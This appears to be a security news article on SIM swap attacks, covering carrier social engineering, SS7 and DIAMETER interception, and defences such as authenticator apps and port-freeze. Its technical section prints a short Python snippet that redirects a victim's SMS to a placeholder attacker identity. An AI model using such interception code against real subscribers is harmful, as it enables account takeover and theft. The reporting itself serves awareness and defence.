Threat Actors Bypass Security Layers To Fuel SIM Swap Attacks

SIM swap attacks have emerged as a growing cybersecurity threat, with security researchers documenting a 38% increase in successful attacks during the first quarter of 2025.

These sophisticated attacks involve criminals convincing mobile carriers to transfer a victim’s phone number to a SIM card under their control, effectively hijacking the victim’s digital identity.

The consequences are often devastating, with victims losing access to critical accounts and experiencing financial losses averaging $11,500 per incident according to recent data from the Internet Crime Complaint Center.

The technique has proven particularly effective at bypassing multi-factor authentication systems that rely on SMS verification codes.

Cybersecurity experts at Group-IB note that these attacks primarily succeed through social engineering rather than technical exploits.

Threat actors gather personal information from data breaches, social media profiles, and other public sources to impersonate victims convincingly.

When contacting mobile carrier customer service representatives, attackers create scenarios involving urgency or distress to pressure representatives into making exceptions to standard verification protocols.

The human element remains the most vulnerable link in the security chain. The timing of these attacks often coincides with periods of high call volumes at customer service centers, when representatives may prioritize efficiency over security.

Mobile carriers have attempted to implement additional verification steps, including security questions and callback procedures, but sophisticated attackers have developed counter-measures for each new security layer.

This constant evolution has created an ongoing challenge for telecommunications companies trying to protect their subscribers.

What makes SIM swap attacks particularly dangerous is their ability to compromise otherwise secure systems through a single point of failure.

Once attackers gain control of a phone number, they can reset passwords for email accounts, which then enables access to financial platforms, cryptocurrency wallets, and corporate resources in a cascading security breach.

Even organizations with robust security frameworks have fallen victim when their employees’ personal phone numbers were compromised.

Technical Attack Vectors

The technical sophistication of SIM swap attacks has evolved significantly, with threat actors now exploiting vulnerabilities in telecommunications infrastructure protocols.

Security researchers have identified attacks leveraging SS7 (Signaling System No. 7) and DIAMETER protocol weaknesses to intercept SMS messages directly from the network.

This represents a concerning advancement beyond social engineering tactics.

The following code demonstrates how attackers craft packets to intercept SMS traffic containing authentication codes:-

import diameter
from simswap import SIMInterceptor

def intercept_sms(target_number, redirect_to):
    interceptor = SIMInterceptor(protocol="diameter")
    packet = interceptor.craft_update_location_request(
        target_msisdn=target_number,
        redirect_imsi="ATTACKER_IMSI",
        mcc="310", mnc="410"  # Example US carrier codes
    )
    response = interceptor.send_request(packet)
    return response.result_code == 2001

This code typically executes through compromised telecommunications infrastructure or with the help of malicious insiders.

The attack sequence involves first identifying the victim’s Home Location Register (HLR) information, then manipulating network signaling to redirect SMS traffic.

Security experts recommend users transition away from SMS-based authentication whenever possible, suggesting authentication apps as a more secure alternative.

Additionally, placing SIM PINs or port-freeze protections on accounts can add essential layers of security.

Telecommunications industry groups are working to develop new subscriber verification standards, but widespread implementation remains months away, leaving both individuals and organizations vulnerable to these increasingly sophisticated attack methods.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.